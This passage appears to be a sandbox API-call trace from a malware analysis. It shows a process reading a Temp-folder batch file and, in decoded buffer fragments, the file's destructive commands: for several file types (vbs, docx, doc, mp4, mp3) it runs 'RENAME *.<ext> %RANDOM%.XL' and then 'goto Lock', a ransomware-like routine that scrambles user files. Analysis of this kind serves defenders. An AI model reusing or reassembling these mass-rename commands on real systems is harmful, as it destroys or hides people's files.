returned 0x4e0880 [0037.146] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f4ad8 [0037.146] GetProcessHeap () returned 0x4e0000 [0037.146] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ad8) returned 0x14 [0037.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0037.146] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.147] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.147] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.147] SetFilePointer (in: hFile=0x74, lDistanceToMove=1359, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.147] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.147] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.147] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.147] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.147] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.147] GetFileType (hFile=0x74) returned 0x1 [0037.147] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.147] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.147] SetFilePointer (in: hFile=0x74, lDistanceToMove=1361, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0037.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0037.147] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.147] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0037.147] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.147] GetFileType (hFile=0x74) returned 0x1 [0037.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0037.148] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=1367, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0037.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\n 29302.XL") returned 6 [0037.148] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0037.148] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.148] GetFileType (hFile=0x74) returned 0x1 [0037.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0037.148] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=1369, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0037.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0037.148] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0037.148] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.148] GetFileType (hFile=0x74) returned 0x1 [0037.148] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0037.149] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=1395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0037.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0037.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0037.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.149] GetFileType (hFile=0x74) returned 0x1 [0037.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0037.149] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=1406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0037.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0037.149] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.149] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0037.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.150] GetFileType (hFile=0x74) returned 0x1 [0037.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0037.150] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=1408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0037.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0037.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.150] GetFileType (hFile=0x74) returned 0x1 [0037.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0037.150] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=1415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0037.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0037.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0037.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.151] GetFileType (hFile=0x74) returned 0x1 [0037.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0037.151] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=1417, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0037.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0037.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0037.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.151] GetFileType (hFile=0x74) returned 0x1 [0037.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0037.151] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=1444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0037.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\nn\r\n") returned 27 [0037.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0037.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.151] GetFileType (hFile=0x74) returned 0x1 [0037.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0037.152] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=1455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0037.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0037.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0037.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.152] GetFileType (hFile=0x74) returned 0x1 [0037.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0037.152] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=1457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0037.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0037.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.152] GetFileType (hFile=0x74) returned 0x1 [0037.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0037.152] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=1463, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0037.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0037.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0037.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.153] GetFileType (hFile=0x74) returned 0x1 [0037.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0037.153] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=1465, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0037.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0037.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0037.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.153] GetFileType (hFile=0x74) returned 0x1 [0037.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0037.153] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=1491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0037.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0037.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0037.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.154] GetFileType (hFile=0x74) returned 0x1 [0037.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0037.154] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=1502, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0037.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0037.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0037.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.154] GetFileType (hFile=0x74) returned 0x1 [0037.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0037.154] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=1504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0037.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0037.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.155] GetFileType (hFile=0x74) returned 0x1 [0037.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0037.155] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=1510, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0037.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0037.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0037.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.155] GetFileType (hFile=0x74) returned 0x1 [0037.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0037.155] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=1512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0037.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0037.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0037.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.155] GetFileType (hFile=0x74) returned 0x1 [0037.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0037.156] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0037.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0037.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0037.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.156] GetFileType (hFile=0x74) returned 0x1 [0037.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0037.156] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=1549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0037.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0037.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0037.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.156] GetFileType (hFile=0x74) returned 0x1 [0037.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0037.156] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=1551, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0037.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0037.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.157] GetFileType (hFile=0x74) returned 0x1 [0037.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0037.157] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=1557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0037.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0037.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) 